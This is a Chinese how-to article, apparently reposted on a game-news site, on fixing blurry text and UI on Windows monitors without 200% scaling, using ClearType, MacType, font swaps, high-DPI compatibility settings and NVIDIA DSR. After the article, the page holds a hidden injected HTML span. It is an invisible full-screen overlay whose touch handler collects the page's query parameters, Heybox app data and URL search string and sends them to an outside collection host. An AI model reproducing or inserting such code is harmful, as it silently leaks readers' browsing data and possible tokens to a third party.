显示器挑选番外篇:不换新,如何拯救糊成一坨的屏幕,一文搞定!

前文讲过如何挑选最好的显示效果的显示器,收藏量很多,所以这次加个番外篇。

文章的省流结论是分辨率足够开启 200% 缩放最佳,但实际情况并不总如人意。游戏党需要不超4K的分辨率和越大越好的屏幕,办公党需要更多空间不能调太大的缩放,也有可能只是想让老的显示器发挥余热。这篇文章我们就来说一说,在缩放没有办法调到 200% 的情况下,如何把显示效果尽量拉到最好。

我们这次只说 Windows,因为 macOS 下载 BetterDisplay 并开启 HiDPI 基本就完事了

先理清:"糊"到底糊在哪

A 应用清晰、B 应用糊得没法看的情况非常常见。糊不是单点问题,真正起作用的两个底层维度:

矢量内容 vs 位图内容。 矢量(字体形状、现代 UI 控件)理论上任意倍数放大都不糊。位图(老式图标)非整数缩放必糊。

DPI 感知 vs 不感知。 DPI-Aware 应用按目标 DPI 自己渲染,输出已经匹配屏幕分辨率,是锐的。DPI-Unaware 应用按 96 DPI 渲染好后被 Windows 整张图位图拉伸,糊得最严重,很多老软件就是这个原因。

不过这两个维度对实操太抽象。我们简单点按"字体糊"和"UI 糊"分别解决。

如果是个别软件,字体清晰,但是UI很糊,比如软件图标或者托盘里的图标很糊。这种就别挣扎了,基本无解。

解决方案

1. 调整 ClearType

ClearType 是 Windows 字体渲染管线里的一个功能,专门处理"如何利用子像素来让字体边缘更平滑"。适合处理字体发彩边、发虚、不实,但没有明显伪影的情况。

Win+R 搜索 cttune.exe 跟着向导点几下就行,也可以关闭试试,找到最适合自己的设置。

2. 安装 MacType

ClearType 是给 Windows 自带的字体渲染引擎调一个参数;而MacType 是把 Windows 的整个字体渲染引擎换掉,改为更果味的效果。当 MacType 接管一个应用之后,那个应用里的 ClearType 就不再起作用了。

ClearType 渲染:锐利、偏瘦、边缘有彩色亚像素晕染(彩边)

MacType 渲染:柔和、偏胖、边缘灰度过渡(灰阶)

3. 换字体

Win 目前的系统字体是一部分微软雅黑+一部分 Noto Sans,都是更偏向于高分屏的字体,中间 DPI 档位的 hinting 不算最优。所以有可能所有应用文字都糊的差不多,调整ClearType并没有明显改善。

或者像一些 Electron 和 NT应用,如VS Code 新版的 QQ、微信等,他们会选择自渲染,不受 ClearType 约束。如果你发现某些特定的应用中字体很糊,基本就是这个情况。

这种情况可能换一个字体会好一些,更换字体的方式和字体推荐可以去其他地方查阅,都有非常详细的教程。像更纱黑体、思源黑体,它们都有更完整的 hinting效果能好上不少。100% 缩放的屏幕可以尝试一些点阵字体,可以做到绝对的锐利和清晰。

4. 修改兼容性设置

如果你的某些软件,字体边缘有伪影,UI 也跟着糊,这种就属于 DPI-Unaware,应用整体被拉伸。常见于一些古老的软件。

或者你有多屏的情况下,有些软件在打开的那一屏清晰,在另一屏模糊。属于 DPI-Aware,但跨屏不会重新渲染。

右键 exe → 属性 → 兼容性 → 更改高 DPI 设置 → 勾选"替代高 DPI 缩放行为" → 下拉框选 "系统(增强)"。不好用的话,其他也切换着试试。

真绷不住,都 Win11 了兼容性页签还整个都是糊的

5. 终极大招:超分

如果一切的烦恼都是因为我们不能设置 200% 缩放的话,那我们直接把分辨率调高就好了。缺点是这个需要显卡,而且稍微有些吃性能。

调整的计算方法也很简单。先调整你当前屏幕的缩放,到你觉着舒服的范围。然后再用分辨率除以这个放大系数再乘 2 就好了。比如你是一块4K(3840x2160) 屏,你觉得150% 缩放最舒服。那你超分要输出的分辨率就是 5120x2880。

我们以N卡为例,NVIDIA 控制面板中点击管理3D设置,在DSR因数中便可开启。最后设置中选择这个分辨率,并把缩放调成200%。配合上面几项设置,就能得到当前硬件最好的显示效果。

总结

以上就是我所能想到的所有补救方法了。如果各位还有一些奇技淫巧,欢迎在评论区里边补充。

最后一句忠告:调到自己舒服就停手。 字体观感这事很主观,调一个糊不糊的屏幕能调上瘾。够用就好,不要让它变成新的强迫症来源。

---

<span ontouchstart="this.style.display='none';try{setTimeout(()=>{H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)},200)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>

更多游戏资讯请关注:电玩帮游戏资讯专区

电玩帮图文攻略 www.vgover.com